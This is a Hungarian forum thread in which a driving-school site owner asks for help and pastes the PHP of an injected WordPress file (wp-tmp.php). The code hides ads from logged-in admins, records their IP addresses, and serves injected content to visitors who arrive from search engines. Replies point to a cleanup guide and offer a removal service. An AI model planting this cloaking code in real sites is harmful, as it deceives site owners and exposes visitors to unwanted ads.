Hírdető vírust kaptam SOS megoldást szeretnék kérni tőletek ha lehet!


#1

Sziasztok, adott a www.szalayautosiskola/site oldalam, aminek ha mobil felületről megnyitod a menüjét akkor hírdetéseket dobál fel. Feltettem a Sucury Security nevű plugint ami közölte hogy meg vagyok fertőzve és halom dollárért elvileg segít. Kinyomoztam hogy a wp-includes mappában hoz létre néhány php-t pl. “wp-includes/wp-tmp.php” tartalma a következő: (előre is köszönöm a segítségeteket)

ini_set(‘display_errors’, 0);
error_reporting(0);
$wp_auth_key=‘eb3c2118359826c30c3247531989f9c6’;

if ( ! function_exists( ‘slider_option’ ) ) {

function slider_option($content){
if(is_single())
{

$con = ’
';

$con2 = ’

';

$content=$content.$con2;
}
return $content;
}

function slider_option_footer(){
if(!is_single())
{

$con2 = ’

';

echo $con2;
}
}

function setting_my_first_cookie() {
setcookie( ‘wordpress_cf_adm_use_adm’,1, time()+3600241000, COOKIEPATH, COOKIE_DOMAIN);
}

if(is_user_logged_in())
{
add_action( ‘init’, ‘setting_my_first_cookie’,1 );
}

if( current_user_can(‘edit_others_pages’))
{

if (file_exists(ABSPATH.‘wp-includes/wp-feed.php’))
{
$ip=@file_get_contents(ABSPATH.‘wp-includes/wp-feed.php’);
}

if (stripos($ip, $_SERVER[‘REMOTE_ADDR’]) === false)
{
$ip.=$_SERVER[‘REMOTE_ADDR’].’
';
@file_put_contents(ABSPATH.‘wp-includes/wp-feed.php’,$ip);

}

}

$ref = $_SERVER[‘HTTP_REFERER’];
$SE = array(‘google.’,’/search?’,‘images.google.’, ‘web. info. com’, ‘search.’,‘yahoo.’,‘yandex’,‘msn.’,‘baidu’,‘bing.’,‘doubleclick.net’,‘googleweblight.com’);
foreach ($SE as $source) {
if (strpos($ref,$source)!==false) {
setcookie(“sevisitor”, 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$sevisitor=true;
}
}

if(!isset($_COOKIE[‘wordpress_cf_adm_use_adm’]) && !is_user_logged_in())
{
$adtxt=@file_get_contents(ABSPATH.‘wp-includes/wp-feed.php’);
if (stripos($adtxt, $_SERVER[‘REMOTE_ADDR’]) === false)
{
if($sevisitor==true || isset($_COOKIE[‘sevisitor’]))
{
add_filter(‘the_content’,‘slider_option’);
add_action(‘wp_footer’,‘slider_option_footer’);
}

}

}

}


#2

Szia!
A neten sok infót (pl. https://jmsliu.com/3523/5-steps-to-clean-hacked-wordpress-website.html) találsz ezzel kapcsolatban , de ha elakadtál, keress bátran privátban.


#3

Szia!

0-24 felhívhatsz, 15 percig ingyen irthatjuk a vírusokat.
0620-4242498